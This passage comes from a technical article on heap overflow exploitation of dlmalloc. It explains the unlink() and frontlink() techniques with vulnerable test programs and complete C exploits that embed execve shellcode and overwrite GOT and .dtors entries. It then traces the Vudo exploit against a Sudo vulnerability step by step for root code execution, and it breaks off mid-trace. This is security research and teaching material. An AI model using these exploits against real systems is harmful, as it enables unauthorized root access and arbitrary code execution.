This unlink() technique, first introduced by Solar Designer, is illustrated with a proof of concept in 3.6.1.2, and was successfully exploited in the wild against certain vulnerable versions of programs like Netscape browsers, traceroute, and slocate (mentioned in 3.1.2.1).

3.6.1.2 - Proof of concept

The program below contains a typical buffer overflow since an attacker can overwrite (at line[3]) the data stored immediately after the end of the first buffer if the first argument they passed to the program (argv[1]) is larger than 666 bytes:

$ set -o noclobber && cat > vulnerable.c << EOF
#include <stdlib.h>
#include <string.h>

int main( int argc, char * argv[] )
{
        char * first, * second;

/*[1]*/ first = malloc( 666 );
/*[2]*/ second = malloc( 12 );
/*[3]*/ strcpy( first, argv[1] );
/*[4]*/ free( first );
/*[5]*/ free( second );
/*[6]*/ return( 0 );
}
EOF

$ make vulnerable
cc     vulnerable.c   -o vulnerable

$ ./vulnerable `perl -e 'print "B" x 1337'`
Segmentation fault (core dumped)
Since the first buffer was allocated in the heap (at line[1], or more precisely during the step[4] of the malloc(3) algorithm) and not on the stack, the attacker cannot use the classic stack smashing techniques and simply overwrite a saved instruction pointer or a saved frame pointer in order to exploit the vulnerability and execute arbitrary code:

But the attacker could overwrite the boundary tag associated with the second chunk of memory (allocated in the heap at line[2], during the step[4] of the malloc(3) algorithm), since this boundary tag is located immediately after the end of the first chunk. The memory area reserved for the user within the first chunk even includes the prev_size field of that boundary tag (as detailed in 3.3.3), and the size of this area is equal to 668 bytes (indeed, and as calculated in 3.3.1, the size of the memory area reserved for the user within the first chunk is equal to the effective size of this chunk, 672 (request2size(666)), minus 4 bytes).

So if the size of the first argument passed to the vulnerable program by the attacker is greater than or equal to 680 (668 + 3*4) bytes, the attacker will be able to overwrite the size, fd and bk fields of the boundary tag associated with the second chunk. They could therefore use the unlink() technique, but how can dlmalloc be tricked into processing the corrupted second chunk with unlink() since this chunk is allocated?

When free(3) is called at line[4] in order to free the first chunk, the step[4.2] of the free(3) algorithm is carried out and the second chunk is processed by unlink() if it is free (if the PREV_INUSE bit of the next contiguous chunk is clear). Unfortunately this bit is set because the second chunk is allocated, but the attacker can trick dlmalloc into reading a fake PREV_INUSE bit since they control the size field of the second chunk (used by dlmalloc in order to compute the address of the next contiguous chunk).

For instance, if the attacker overwrites the size field of the second chunk with -4 (0xfffffffc), dlmalloc will think the beginning of the next contiguous chunk is in fact 4 bytes before the beginning of the second chunk, and will therefore read the prev_size field of the second chunk instead of the size field of the next contiguous chunk. So if the attacker stores an even integer (an integer whose PREV_INUSE bit is clear) in this prev_size field, dlmalloc will process the corrupted second chunk with unlink() and the attacker will be able to apply the technique described in 3.6.1.1.

Indeed, the exploit below overwrites the fd field of the second chunk with a pointer to the GOT entry of the free(3) function (read at line[5] after the unlink() attack) minus 12 bytes, and overwrites the bk field of the second chunk with the address of a special shellcode stored 8 (2*4) bytes after the beginning of the first buffer (the first 8 bytes of this buffer correspond to the fd and bk fields of the associated boundary tag and are overwritten at line[4], by frontlink() during the step[4.3] of the free(3) algorithm).

Since the shellcode is executed in the heap, this exploit will work against systems protected with the Linux kernel patch from the Openwall Project, but not against systems protected with the Linux kernel patch from the PaX Team:

$ objdump -R vulnerable | grep free
0804951c R_386_JUMP_SLOT   free

$ ltrace ./vulnerable 2>&1 | grep 666
malloc(666)                                       = 0x080495e8

$ set -o noclobber && cat > exploit.c << EOF
#include <string.h>
#include <unistd.h>

#define FUNCTION_POINTER ( 0x0804951c )
#define CODE_ADDRESS ( 0x080495e8 + 2*4 )

#define VULNERABLE "./vulnerable"
#define DUMMY 0xdefaced
#define PREV_INUSE 0x1

char shellcode[] =
        /* the jump instruction */
        "\xeb\x0appssssffff"
        /* the Aleph One shellcode */
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main( void )
{
        char * p;
        char argv1[ 680 + 1 ];
        char * argv[] = { VULNERABLE, argv1, NULL };

        p = argv1;
        /* the fd field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /* the bk field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /* the special shellcode */
        memcpy( p, shellcode, strlen(shellcode) );
        p += strlen( shellcode );
        /* the padding */
        memset( p, 'B', (680 - 4*4) - (2*4 + strlen(shellcode)) );
        p += ( 680 - 4*4 ) - ( 2*4 + strlen(shellcode) );
        /* the prev_size field of the second chunk */
        *( (size_t *)p ) = (size_t)( DUMMY & ~PREV_INUSE );
        p += 4;
        /* the size field of the second chunk */
        *( (size_t *)p ) = (size_t)( -4 );
        p += 4;
        /* the fd field of the second chunk */
        *( (void **)p ) = (void *)( FUNCTION_POINTER - 12 );
        p += 4;
        /* the bk field of the second chunk */
        *( (void **)p ) = (void *)( CODE_ADDRESS );
        p += 4;
        /* the terminating NUL character */
        *p = '\0';

        /* the execution of the vulnerable program */
        execve( argv[0], argv, NULL );
        return( -1 );
}
EOF

$ make exploit
cc     exploit.c   -o exploit

$ ./exploit
bash$

3.6.2 - The frontlink() technique


3.6.2.1 - Concept

Alternatively an attacker can exploit the frontlink() macro in order to abuse programs which mistakenly manage the heap. The frontlink() technique is less flexible and more difficult to implement than the unlink() technique, however it may be an interesting option since its preconditions are different. Although no exploit is known to apply this frontlink() technique in the wild, a proof of concept is presented in 3.6.2.2, and it was one of the possible techniques against the Sudo vulnerability.

#define frontlink( A, P, S, IDX, BK, FD ) {            \
    if ( S < MAX_SMALLBIN_SIZE ) {                     \
        IDX = smallbin_index( S );                     \
        mark_binblock( A, IDX );                       \
        BK = bin_at( A, IDX );                         \
        FD = BK->fd;                                   \
        P->bk = BK;                                    \
        P->fd = FD;                                    \
        FD->bk = BK->fd = P;                           \
[1] } else {                                           \
        IDX = bin_index( S );                          \
        BK = bin_at( A, IDX );                         \
        FD = BK->fd;                                   \
        if ( FD == BK ) {                              \
            mark_binblock(A, IDX);                     \
        } else {                                       \
[2]         while ( FD != BK && S < chunksize(FD) ) {  \
[3]             FD = FD->fd;                           \
            }                                          \
[4]         BK = FD->bk;                               \
        }                                              \
        P->bk = BK;                                    \
        P->fd = FD;                                    \
[5]     FD->bk = BK->fd = P;                           \
    }                                                  \
}

If the free chunk P processed by frontlink() is not a small chunk, the code at line[1] is executed, and the proper doubly-linked list of free chunks is traversed (at line[2]) until the place where P should be inserted is found. If the attacker managed to overwrite the forward pointer of one of the traversed chunks (read at line[3]) with the address of a carefully crafted fake chunk, they could trick frontlink() into leaving the loop[2] while FD points to this fake chunk. Next the back pointer BK of that fake chunk would be read (at line[4]) and the integer located at BK plus 8 bytes (8 is the offset of the fd field within a boundary tag) would be overwritten with the address of the chunk P (at line[5]).

The attacker could store the address of a function pointer (minus 8 bytes of course) in the bk field of the fake chunk, and therefore trick frontlink() into overwriting (at line[5]) this function pointer with the address of the chunk P (but unfortunately not with the address of their choosing). Moreover, the attacker should store valid machine code at that address since their final purpose is to execute arbitrary code the next time the function pointed to by the overwritten integer is called.

But the address of the free chunk P corresponds to the beginning of the associated boundary tag, and therefore to the location of its prev_size field. So is it really possible to store machine code in prev_size?

3.6.2.2 - Proof of Concept

The program below is vulnerable to a buffer overflow: although the attacker cannot overflow (at line[7]) the first buffer allocated dynamically in the heap (at line[1]) with the content of argv[2] (since the size of this first buffer is exactly the size of argv[2]), however they can overflow (at line[9]) the fourth buffer allocated dynamically in the heap (at line[4]) with the content of argv[1]. The size of the memory area reserved for the user within the fourth chunk is equal to 668 (request2size(666) - 4) bytes (as calculated in 3.6.1.2), so if the size of argv[1] is greater than or equal to 676 (668 + 2*4) bytes, the attacker can overwrite the size and fd fields of the next contiguous boundary tag.

$ set -o noclobber && cat > vulnerable.c << EOF
#include <stdlib.h>
#include <string.h>

int main( int argc, char * argv[] )
{
        char * first, * second, * third, * fourth, * fifth, * sixth;

/*[1]*/ first = malloc( strlen(argv[2]) + 1 );
/*[2]*/ second = malloc( 1500 );
/*[3]*/ third = malloc( 12 );
/*[4]*/ fourth = malloc( 666 );
/*[5]*/ fifth = malloc( 1508 );
/*[6]*/ sixth = malloc( 12 );
/*[7]*/ strcpy( first, argv[2] );
/*[8]*/ free( fifth );
/*[9]*/ strcpy( fourth, argv[1] );
/*[0]*/ free( second );
        return( 0 );
}
EOF

$ make vulnerable
cc     vulnerable.c   -o vulnerable

$ ./vulnerable `perl -e 'print "B" x 1337'` dummy
Segmentation fault (core dumped)

The six buffers used by this program are allocated dynamically (at line[1], line[2], line[3], line[4], line[5] and line[6]) during the step[4] of the malloc(3) algorithm, and the second buffer is therefore located immediately after the first one, the third one after the second one, and so on. The attacker can therefore overwrite (at line[9]) the boundary tag associated with the fifth chunk (allocated at line[5] and freed at line[8]) since this chunk is located immediately after the overflowed fourth buffer.

Unfortunately the only call to one of the dlmalloc routines after the overflow at line[9] is the call to free(3) at line[0]. In order to free the second buffer, the step[4] of the free(3) algorithm is carried out, but the unlink() macro is neither called at step[4.1], nor at step[4.2], since the chunks of memory that border the second chunk (the first and third chunks) are allocated (and the corrupted boundary tag of the fifth chunk is not even read during the step[4.1] or step[4.2] of the free(3) algorithm). Therefore the attacker cannot exploit the unlink() technique during the free(3) call at line[0], but should exploit the frontlink() (called at step[4.3] of the free(3) algorithm) technique instead.

Indeed, the fd field of the corrupted boundary tag associated with the fifth chunk is read (at line[3] in the frontlink() macro) during this call to frontlink(), since the second chunk should be inserted in the doubly-linked list of the bin number 79 (as detailed in 3.4.1, because the effective size of this chunk is equal to 1504 (request2size(1500))), since the fifth chunk was inserted in this very same doubly-linked list at line[8] (as detailed in 3.4.1, because the effective size of this chunk is equal to 1512 (request2size(1508))), and since the second chunk should be inserted after the fifth chunk in that list (1504 is indeed less than 1512, and the chunks in each list are maintained in decreasing sorted order by size, as mentioned in 3.4.2).

The exploit below overflows the fourth buffer and overwrites the fd field of the fifth chunk with the address of a fake chunk stored in the environment variables passed to the vulnerable program. The size field of this fake chunk is set to 0 in order to trick free(3) into leaving the loop[2] of the frontlink() macro while FD points to that fake chunk, and in the bk field of the fake chunk is stored the address (minus 8 bytes) of the first function pointer emplacement in the .dtors section: Overwriting the .dtors section

This function pointer, overwritten by frontlink() with the address of the second chunk, is read and executed at the end of the vulnerable program. Since the attacker can control (via argv[2]) the content and size of the chunk located immediately before the second chunk (the first chunk), they can use one of the methods described in 3.6.2.1 in order to store valid machine code in the prev_size field of the second chunk.

In the exploit below, the size of the second argument passed to the vulnerable program (argv[2]) is a multiple of 8 bytes minus 4 bytes, and is greater than or equal to the size of the special shellcode used by the exploit. The last 4 bytes of this special shellcode (including the terminating NUL character) are therefore stored in the last 4 bytes of the first buffer (the prev_size field of the second chunk) and correspond to a jump instruction that simply executes a classic shellcode stored right before.

Since the size of argv[2] should be equal to a multiple of 8 bytes minus 4 bytes, and since this size should also be greater than or equal to the size of the special shellcode, the size of argv[2] is simply equal to ((((sizeof(shellcode) + 4) + 7) & ~7) - 4), which is equivalent to (request2size(sizeof(shellcode)) - 4). The size of the special shellcode in the exploit below is equal to 49 bytes, and the size of argv[2] is therefore equal to 52 (request2size(49) - 4) bytes.

$ objdump -j .dtors -s vulnerable | grep ffffffff
 80495a8 ffffffff 00000000                    ........

$ set -o noclobber && cat > exploit.c << EOF
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define FUNCTION_POINTER ( 0x80495a8 + 4 )

#define VULNERABLE "./vulnerable"
#define FAKE_CHUNK ( (0xc0000000 - 4) - sizeof(VULNERABLE) - (16 + 1) )
#define DUMMY 0xeffaced

char shellcode[] =
        /* the Aleph One shellcode */
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh"
        /* the jump instruction */
        "\xeb\xd1p";

int main( void )
{
        char * p;
        char argv1[ 676 + 1 ];
        char argv2[ 52 ];
        char fake_chunk[ 16 + 1 ];
        size_t size;
        char ** envp;
        char * argv[] = { VULNERABLE, argv1, argv2, NULL };

        p = argv1;
        /* the padding */
        memset( p, 'B', 676 - 4 );
        p += 676 - 4;
        /* the fd field of the fifth chunk */
        *( (void **)p ) = (void *)( FAKE_CHUNK );
        p += 4;
        /* the terminating NUL character */
        *p = '\0';

        p = argv2;
        /* the padding */
        memset( p, 'B', 52 - sizeof(shellcode) );
        p += 52 - sizeof(shellcode);
        /* the special shellcode */
        memcpy( p, shellcode, sizeof(shellcode) );

        p = fake_chunk;
        /* the prev_size field of the fake chunk */
        *( (size_t *)p ) = (size_t)( DUMMY );
        p += 4;
        /* the size field of the fake chunk */
        *( (size_t *)p ) = (size_t)( 0 );
        p += 4;
        /* the fd field of the fake chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /* the bk field of the fake chunk */
        *( (void **)p ) = (void *)( FUNCTION_POINTER - 8 );
        p += 4;
        /* the terminating NUL character */
        *p = '\0';

        /* the size of the envp array */
        size = 0;
        for ( p = fake_chunk; p < fake_chunk + (16 + 1); p++ ) {
                if ( *p == '\0' ) {
                        size++;
                }
        }
        size++;

        /* the allocation of the envp array */
        envp = malloc( size * sizeof(char *) );

        /* the content of the envp array */
        size = 0;
        for ( p = fake_chunk; p < fake_chunk + (16+1); p += strlen(p)+1 ) {
                envp[ size++ ] = p;
        }
        envp[ size ] = NULL;

        /* the execution of the vulnerable program */
        execve( argv[0], argv, envp );
        return( -1 );
}
EOF

$ make exploit
cc     exploit.c   -o exploit

$ ./exploit
bash$

4 - Exploiting the Sudo vulnerability


4.1 - The theory

In order to exploit the Sudo vulnerability, and as mentioned in 2.4, an attacker should overwrite a byte of the boundary tag located immediately after the end of the msg buffer, and should take advantage of this erroneously overwritten byte before it is restored.

Indeed, the exploit provided in 4.2 tricks do_syslog() into overwriting (at line[5] in do_syslog()) a byte of the bk pointer associated with this next contiguous boundary tag, tricks malloc(3) into following (at step[3] in malloc(3)) this corrupted back pointer to a fake chunk of memory, and tricks malloc(3) into taking (at step[3.2] in malloc(3)) this fake chunk off its imaginary doubly linked-list. The attacker can therefore apply the unlink() technique presented in 3.6.1 and eventually execute arbitrary code as root.

How these successive tricks are actually accomplished is presented below via a complete, successful, and commented run of the Vudo exploit (the dlmalloc calls traced below were performed by Sudo, and were obtained via a special shared library stored in /etc/ld.so.preload):

$ ./vudo 0x002531dc 62595 6866
malloc( 9 ): 0x0805e480;
malloc( 7 ): 0x0805e490;
malloc( 6 ): 0x0805e4a0;
malloc( 5 ): 0x0805e4b0;
malloc( 36 ): 0x0805e4c0;
malloc( 18 ): 0x0805e4e8;
malloc( 14 ): 0x0805e500;
malloc( 10 ): 0x0805e518;
malloc( 5 ): 0x0805e528;
malloc( 19 ): 0x0805e538;
malloc( 3 ): 0x0805e550;
malloc( 62596 ): 0x0805e560;

This 62596 bytes buffer was allocated by the tzset(3) function (called by Sudo at the beginning of the init_vars() function) and is a simple copy of the TZ environment variable, whose size was provided by the attacker via the second argument passed to the Vudo exploit (62596 is indeed equal to 62595 plus 1, the size of a terminating NUL character).

The usefulness of such a huge dynamically allocated buffer is detailed later on, but proved to be essential to the Vudo exploit. For example, this exploit will never work against the Debian operating system since the tzset(3) function used by Debian does not read the value of the TZ environment variable when a SUID or SGID program is run.

malloc( 176 ): 0x0806d9e8;
free( 0x0806d9e8 );
malloc( 17 ): 0x0806d9e8;
malloc( 6 ): 0x0806da00;
malloc( 4096 ): 0x0806da10;
malloc( 6 ): 0x0806ea18;
malloc( 1024 ): 0x0806ea28;
malloc( 176 ): 0x0806ee30;
malloc( 8 ): 0x0806eee8;
malloc( 120 ): 0x0806eef8;
malloc( 15 ): 0x0806ef78;
malloc( 38 ): 0x0806ef90;
malloc( 40 ): 0x0806efc0;
malloc( 36 ): 0x0806eff0;
malloc( 15 ): 0x0806f018;
malloc( 38 ): 0x0806f030;
malloc( 40 ): 0x0806f060;
malloc( 36 ): 0x0806f090;
malloc( 14 ): 0x0806f0b8;
malloc( 38 ): 0x0806f0d0;
malloc( 40 ): 0x0806f100;
malloc( 36 ): 0x0806f130;
malloc( 14 ): 0x0806f158;
malloc( 38 ): 0x0806f170;
malloc( 40 ): 0x0806f1a0;
malloc( 36 ): 0x0806f1d0;
malloc( 36 ): 0x0806f1f8;
malloc( 19 ): 0x0806f220;
malloc( 40 ): 0x0806f238;
malloc( 38 ): 0x0806f268;
malloc( 15 ): 0x0806f298;
malloc( 38 ): 0x0806f2b0;
malloc( 17 ): 0x0806f2e0;
malloc( 38 ): 0x0806f2f8;
malloc( 17 ): 0x0806f328;
malloc( 38 ): 0x0806f340;
malloc( 18 ): 0x0806f370;
malloc( 38 ): 0x0806f388;
malloc( 12 ): 0x0806f3b8;
malloc( 38 ): 0x0806f3c8;
malloc( 17 ): 0x0806f3f8;
malloc( 38 ): 0x0806f410;
malloc( 17 ): 0x0806f440;
malloc( 40 ): 0x0806f458;
malloc( 18 ): 0x0806f488;
malloc( 40 ): 0x0806f4a0;
malloc( 18 ): 0x0806f4d0;
malloc( 38 ): 0x0806f4e8;
malloc( 40 ): 0x0806f518;
malloc( 16 ): 0x0806f548;
malloc( 38 ): 0x0806f560;
malloc( 40 ): 0x0806f590;
free( 0x0806eef8 );
free( 0x0806ee30 );
malloc( 16 ): 0x0806eef8;
malloc( 8 ): 0x0806ef10;
malloc( 12 ): 0x0806ef20;
malloc( 23 ): 0x0806ef30;
calloc( 556, 1 ): 0x0806f5c0;
malloc( 26 ): 0x0806ef50;
malloc( 23 ): 0x0806ee30;
malloc( 12 ): 0x0806ee50;
calloc( 7, 16 ): 0x0806ee60;
malloc( 176 ): 0x0806f7f0;
free( 0x0806f7f0 );
malloc( 28 ): 0x0806f7f0;
malloc( 5 ): 0x0806eed8;
malloc( 11 ): 0x0806f810;
malloc( 4095 ): 0x0806f820;

This 4095 bytes buffer was allocated by the sudo_getpwuid() function, and is a simple copy of the SHELL environment variable provided by the Vudo exploit. Since Sudo was called with the -s option (the usefulness of this option is detailed subsequently), the size of the SHELL environment variable (including the trailing NUL character) cannot exceed 4095 bytes because of a check performed at the beginning of the find_path() function called by Sudo.

The SHELL environment variable constructed by the exploit is exclusively composed of pointers indicating a single location on the stack, whose address does not contain any NUL byte (0xbfffff1e in this case). The reasons behind the choice of this particular address are exposed below.

malloc( 1024 ): 0x08070828;
malloc( 16 ): 0x08070c30;
malloc( 8 ): 0x08070c48;
malloc( 176 ): 0x08070c58;
free( 0x08070c58 );
malloc( 35 ): 0x08070c58;

The next series of dlmalloc calls is performed by the load_interfaces() function, and is one of the keys to a successful exploitation of the Sudo vulnerability:

malloc( 8200 ): 0x08070c80;
malloc( 16 ): 0x08072c90;
realloc( 0x08072c90, 8 ): 0x08072c90;
free( 0x08070c80 );

The 8200 bytes buffer and the 16 bytes buffer were allocated during the step[4] in malloc(3), and the latter (even once reallocated) was therefore stored immediately after the former. Moreover, a hole was created in the heap since the 8200 bytes buffer was freed during the step[4.3] of the free(3) algorithm.

malloc( 2004 ): 0x08070c80;
malloc( 176 ): 0x08071458;
malloc( 4339 ): 0x08071510;

The 2004 bytes buffer was allocated by the init_vars() function (because Sudo was called with the -s option) in order to hold pointers to the command and arguments to be executed by Sudo (provided by the Vudo exploit). This buffer was stored at the beginning of the previously freed 8200 bytes buffer, during the step[3.1] in malloc(3).

The 176 and 4339 bytes buffers were allocated during the step[2.1] in malloc(3), and stored immediately after the end of the 2004 bytes buffer allocated above (the 4339 bytes buffer was created in order to hold the command and arguments to be executed by Sudo (provided by the exploit)).

The next series of dlmalloc calls is performed by the setenv(3) function in order to create the SUDO_COMMAND environment variable:

realloc( 0x00000000, 27468 ): 0x08072ca8;
malloc( 4352 ): 0x080797f8;
malloc( 16 ): 0x08072608;

The 27468 bytes buffer was allocated by setenv(3) in order to hold pointers to the environment variables passed to Sudo by the exploit (the number of environment variables passed to Sudo was provided by the attacker (the third argument passed to the Vudo exploit)). Because of the considerable size of this buffer, it was allocated at step[4] in malloc(3), after the end of the 8 bytes buffer located immediately after the remainder of the 8200 bytes hole.

The 4352 bytes buffer, the SUDO_COMMAND environment variable (whose size is equal to the size of the previously allocated 4339 bytes buffer, plus the size of the SUDO_COMMAND= prefix), was allocated at step[4] in malloc(3), and was therefore stored immediately after the end of the 27468 bytes buffer allocated above.

The 16 bytes buffer was allocated at step[3.1] in malloc(3), and is therefore located immediately after the end of the 4339 bytes buffer, in the remainder of the 8200 bytes hole.

free( 0x08071510 );

The 4339 bytes buffer was freed, at step[4.3] in free(3), and therefore created a hole in the heap (the allocated buffer stored before this hole is the 176 bytes buffer whose address is 0x08071458, the allocated buffer stored after this hole is the 16 bytes buffer whose address is 0x08072608).

The next series of dlmalloc calls is performed by the setenv(3) function in order to create the SUDO_USER environment variable:

realloc( 0x08072ca8, 27472 ): 0x0807a900;
malloc( 15 ): 0x08072620;
malloc( 16 ): 0x08072638;

The previously allocated 27468 bytes buffer was reallocated for additional space, but since it could not be extended (a too small free chunk was stored before (the remainder of the 8200 bytes hole) and an allocated chunk was stored after (the 4352 bytes buffer)), it was freed at step[5.4.2] in realloc(3) (a new hole was therefore created in the heap) and another chunk was allocated at step[5.4] in realloc(3).

The 15 bytes buffer was allocated, during the step[3.1] in malloc(3), after the end of the 16 bytes buffer allocated above (whose address is equal to 0x08072608).

The 16 bytes buffer was allocated, during the step[2.1] in malloc(3), after the end of the 15 bytes buffer allocated above (whose address is 0x08072620).

The next series of dlmalloc calls is performed by the setenv(3) function in order to create the SUDO_UID and SUDO_GID environment variables:

realloc( 0x0807a900, 27476 ): 0x0807a900;
malloc( 13 ): 0x08072650;
malloc( 16 ): 0x08072668;
realloc( 0x0807a900, 27480 ): 0x0807a900;
malloc( 13 ): 0x08072680;
malloc( 16 ): 0x08072698;

The 13, 16, 13 and 16 bytes buffers were allocated after the end of the 16 bytes buffer allocated above (whose address is 0x08072638), in the remainder of the 8200 bytes hole. The address of the resulting `last_remainder' chunk, the free chunk stored after the end of the 0x08072698 buffer and before the 0x08072c90 buffer, is equal to 0x080726a8 (mem2chunk(0x08072698) + request2size(16)), and its effective size is equal to 1504 (mem2chunk(0x08072c90) - 0x080726a8) bytes.

The next series of dlmalloc calls is performed by the setenv(3) function in order to create the PS1 environment variable:

realloc( 0x0807a900, 27484 ): 0x0807a900;
malloc( 1756 ): 0x08071510;
malloc( 16 ): 0x08071bf0;

The 1756 bytes buffer was allocated (during the step[3.1] in malloc(3)) in order to hold the PS1 environment variable (whose size was computed by the Vudo exploit), and was stored at the beginning of the 4339 bytes hole created above.

The remainder of this hole therefore became the new `last_remainder' chunk, and the old `last_remainder' chunk, whose effective size is equal to 1504 bytes, was therefore placed in its doubly-linked list (the list associated with the bin number 79) during the step[2.2.2] in malloc(3).

The 16 bytes buffer was allocated during the step[2.1] in malloc(3), in the remainder of the 4339 bytes hole.

malloc( 640 ): 0x08071c08;
malloc( 400 ): 0x08071e90;

The 640 and 400 bytes buffers were also allocated, during the step[2.1] in malloc(3), in the remainder of the 4339 bytes hole.

malloc( 1600 ): 0x08072ca8;

This 1600 bytes buffer, allocated at step[3.1] in malloc(3), was stored at the beginning of the 27468 bytes hole created above. The remainder of this huge hole therefore became the new `last_remainder' chunk, and the old `last_remainder' chunk, the remainder of the 4339 bytes hole, was placed in its bin at step[2.2.2] in malloc(3).

Since the effective size of this old `last_remainder' chunk is equal to 1504 (request2size(4339) - request2size(1756) - request2size(16) - request2size(640) - request2size(400)) bytes, it was placed in the bin number 79 by frontlink(), in front of the 1504 bytes chunk already inserted in this bin as described above.

The address of that old `last_remainder' chunk, 0x08072020 (mem2chunk(0x08071e90) + request2size(400)), contains two SPACE characters, needed by the Vudo exploit in order to successfully exploit the Sudo vulnerability, as detailed below. This very special address was obtained thanks to the huge TZ environment variable mentioned above.

malloc( 40 ): 0x080732f0;
malloc( 16386 ): 0x08073320;
malloc( 13 ): 0x08077328;
free( 0x08077328 );
malloc( 5 ): 0x08077328;
free( 0x08077328 );
malloc( 6 ): 0x08077328;
free( 0x08071458 );
malloc( 100 ): 0x08077338;
realloc( 0x08077338, 19 ): 0x08077338;
malloc( 100 ): 0x08077350;
realloc( 0x08077350, 21 ): 0x08077350;
free( 0x08077338 );
free( 0x08077350 );

All these buffers were allocated, during the step[2.1] in malloc(3), in the remainder of the 27468 bytes hole created above.

The next series of dlmalloc calls is performed by easprintf(), a wrapper to vasprintf(3), in order to allocate space for the msg buffer:

malloc( 100 ): 0x08077338;
malloc( 300 ): 0x080773a0;
free( 0x08077338 );
malloc( 700 ): 0x080774d0;
free( 0x080773a0 );
malloc( 1500 ): 0x080726b0;
free( 0x080774d0 );
malloc( 3100 ): 0x08077338;
free( 0x080726b0 );
malloc( 6300 ): 0x08077f58;
free( 0x08077338 );
realloc( 0x08077f58, 4795 ): 0x08077f58;

In order to allocate the 1500 bytes buffer, whose effective size is equal to 1504 (request2size(1500)) bytes, malloc(3) carried out the step[1.2] and returned (at step[1.2.2]) the last chunk in the bin number 79, and therefore left the 0x08072020 chunk alone in this bin.

But once unused, this 1500 bytes buffer was placed back in the bin number 79 by free(3), at step[4.3], in front of the 0x08072020 chunk already stored in this bin.

The 6300 bytes buffer was allocated during the step[2.2.1] in malloc(3). Indeed, the size of the 27468 bytes hole was carefully chosen by the attacker (via the third argument passed to the Vudo exploit) so that, once allocated, the 6300 bytes buffer would fill this hole.

Finally, the 6300 bytes buffer was reallocated for less space, during the step[4.1] of the realloc(3) algorithm. The reallocated buffer was created in order to hold the msg buffer, and the free chunk processed by chunk_free() during the step[4.1] of the realloc(3) algorithm was placed in its doubly-linked list. Since the effective size of this free chunk is equal to 1504 (request2size(6300) - request2size(4795)) bytes, it was placed in the bin number 79, in front of the two free chunks already stored in this bin.

The next series of dlmalloc calls is performed by the first call to syslog(3), during the execution of the do_syslog() function:

malloc( 192 ): 0x08072028;
malloc( 8192 ): 0x08081460;
realloc( 0x08081460, 997 ): 0x08081460;
free( 0x08072028 );
free( 0x08081460 );

The 192 bytes buffer was allocated during the step[3.1] of the malloc(3) algorithm, and the processed chunk was the last chunk in the bin number 79 (the 0x08072020 chunk).

Once unused, the 192 bytes buffer was consolidated (at step[4.2] in free(3)) with the remainder of the previously split 1504 bytes chunk, and the resulting coalesced chunk was placed back (at step[4.3] in free(3)) in the bin number 79, in front of the two free chunks already stored in this bin.

The bk field of the chunk of memory located immediately after the msg buffer was therefore overwritten by unlink() in order to point to the chunk 0x08072020.

The next series of dlmalloc calls is performed by the second call to syslog(3), during the execution of the do_syslog() function:

malloc( 192 ): 0x080726b0;
malloc( 8192 ): 0x08081460;
realloc( 0x08081460, 1018 ): 0x08081460;
free( 0x080726b0 );
free( 0x08081460 );

The 192 bytes buffer was allocated during the step[3.1] of the malloc(3) algorithm, and the processed chunk was the last chunk in the bin number 79 (the 0x080726a8 chunk).

The bk field of the bin number 79 (the pointer to the last free chunk in the associated doubly-linked list) was therefore overwritten by unlink() with a pointer to the chunk of memory located immediately after the end of the msg buffer.

Once unused, the 192 bytes buffer was consolidated (at step[4.2] in free(3)) with the remainder of the previously split 1504 bytes chunk, and the resulting coalesced chunk was placed back (at step[4.3] in free(3)) in the bin number 79, in front of the two free chunks already stored in this bin.

As soon as this second call to syslog(3) was completed, the loop[7] of the do_syslog() function pushed the pointer p after the terminating NUL character associated with the msg buffer, until p pointed to the first SPACE character encountered. This first encountered SPACE character was of course the least significant byte of the bk field (still equal to 0x08072020) associated with the chunk located immediately after msg.

The do_syslog() function successfully passed the test[2] since no NUL byte was found between p and (p + MAXSYSLOGLEN) (indeed, this memory area is filled with the content of the previously allocated and freed 27468 bytes buffer: pointers to the environment variables passed to Sudo by the exploit, and these environment variables were constructed by the exploit in order to avoid NUL and SPACE characters in their addresses).

The byte overwritten with a NUL byte at line[5] in do_syslog() is the first encountered SPACE character when looping from (p + MAXSYSLOGLEN) down to p. Of course, this first encountered SPACE character was the second byte of the bk field (equal to 0x08072020) associated with the chunk located immediately after msg, since no other SPACE character could be found in the memory area between p and (p + MAXSYSLOGLEN), as detailed above.

The bk field of the chunk located immediately after msg was therefore corrupted (its new value is equal to 0x08070020), in order to point to the very middle of the copy the SHELL environment variable mentioned above, before the next series of dlmalloc calls, performed by the third call to syslog(3), were carried out:

malloc( 192 ): 0x08079218;
malloc( 8192 ): 0x08081460;
realloc( 0x08081460, 90 ): 0x08081460;
free( 0x08079218 );
free( 0x08081460 );

The 192 bytes buffer was allocated during the step[3.1] of the malloc(3) algorithm, and the processed chunk was the last chunk in the bin number 79 (the chunk located immediately after msg).

The bk field of the bin number 79 (the pointer to the last free chunk in the associated doubly-linked list) was therefore overwritten by unlink() with the corrupted bk field of the chunk located immediately after msg.

Once unused, the 192 bytes buffer was consolidated (at step[4.2] in free(3)) with the remainder of the previously split 1504 bytes chunk, and the resulting coalesced chunk was placed back (at step[4.3] in free(3)) in the bin number 79, in front of the two free chunks already stored in this bin (but one of these two chunks is of course a fake chunk pointed to by the corrupted bk field 0x08070020).

Before the next series of dlmalloc calls is performed, by the fourth call to syslog(3), the erroneously overwritten SPACE character was restored at line[6] by do_syslog(), but since the corrupted bk pointer was copied to the bk field of the bin number 79 before, the Vudo exploit managed to permanently damage the internal structures used by dlmalloc:

malloc( 192 ): 0xbfffff1e;
malloc( 8192 ): 

